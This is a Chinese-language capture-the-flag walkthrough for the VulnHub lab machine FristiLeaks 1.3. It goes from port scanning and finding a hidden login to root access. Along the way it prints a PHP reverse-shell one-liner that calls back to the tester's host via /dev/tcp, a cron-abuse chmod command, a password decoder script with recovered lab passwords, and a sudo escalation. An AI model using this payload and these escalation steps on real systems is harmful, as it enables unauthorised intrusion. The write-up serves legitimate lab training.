vulnhub:FristiLeaks: 1.3 ~ VulnHub
导入靶机,和kali放在同一网段
注意,该靶机使用时必须设置MAC地址为08:00:27:A5:A6:76
如果网络配置没有问题,靶机在启动的时候就会直接显示自己的IP地址(这里显示在192.168.114.0网段,这是我的VMWare的NAT网卡网段,证明和kali在同一网段下)
使用nmap对靶机进行端口扫描
nmap 192.168.114.159
只有一个80端口,那么常规操作看网站
网站只有最上面的蓝色字体指向了一个Twitter界面,没啥东西
瞎搞一通发现这个网站一直在说的fristi是一个网站目录,是一个登陆界面
这个网页的元素中有一些注释,这个==结尾太明显了,Base64编码
解码结果是一张图片
keKkeKKeKKeKkEkkEk
使用dirsearch扫描网站目录
dirsearch -u http://192.168.114.159/fristi/
发现有两个登陆相关的php文件,还有一个uploads文件夹,说明这个网站可能时存在文件上传功能点的
换个大点的字典再尝试一下(kali字典位置/usr/share/wordlists)
也没扫出来,就不放图了
到这一步没什么思路了,于是乎回头去看之前的东西,发现元素里还藏着一段注释
署名是eezeepz,那么之前解出来的图片就有可能是密码,尝试在网站登陆一下
登上去了,也确实存在文件上传功能点,看来之前是不登陆不能访问这个功能
写个一句话木马文件(shell.php.jpg)用于反弹shell,文件上传限制的检测和绕过不赘述
<?php exec("bash -c 'bash -i >& /dev/tcp/192.168.114.155/6789 0>&1'"); ?>
上传完成,访问文件,这里涉及到一个文件解析漏洞,访问成功即可
然后在kali开启监听,再次访问文件,获得shell
获得shell之后尝试sudo和suid提权走不通,那么就看看我们能查阅的文件
之后在家目录下的eezeepz文件夹发现一个notes.txt,查看
这个文本大意就是说在/tmp目录下创建一个runthis文件,就会以这个人的权限每分钟执行一次
之前家目录下还有admin和firstigod两个用户目录进不去,那么我们或许可以使用这种方式赋予我们权限
echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
稍作等待发现我们已经拥有了admin目录权限
进入查看一下
基本上是一些命令,有四个文件可以查看一下,比较有用的是这三个
mVGZ3O3omkJLmy2pcuTq
=RFn0AKnlMHMPIzpyuTI0ITG
很明显要用这个py文件来解密,但是现在他还是加密的,所以要改一下
import base64,codecs,sys
def decodeString(str):
base64string=codecs.encode(str, 'rot13')
return base64.b64decode(base64string[::-1])
uncryptoResult=decodeString(sys.argv[1])
print(uncryptoResult)
解密两个字符串
LetThereBeFristi!
thisisalsopw123
猜测LetThereBeFristi!感觉像是fristigod用户的密码,获取交互式shell,切换用户
python -c 'import pty; pty.spawn("/bin/bash")'
su fristigod
这个账户存在一个sudo无密码命令,尝试使用
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
至此完成了靶机提权,flag在root目录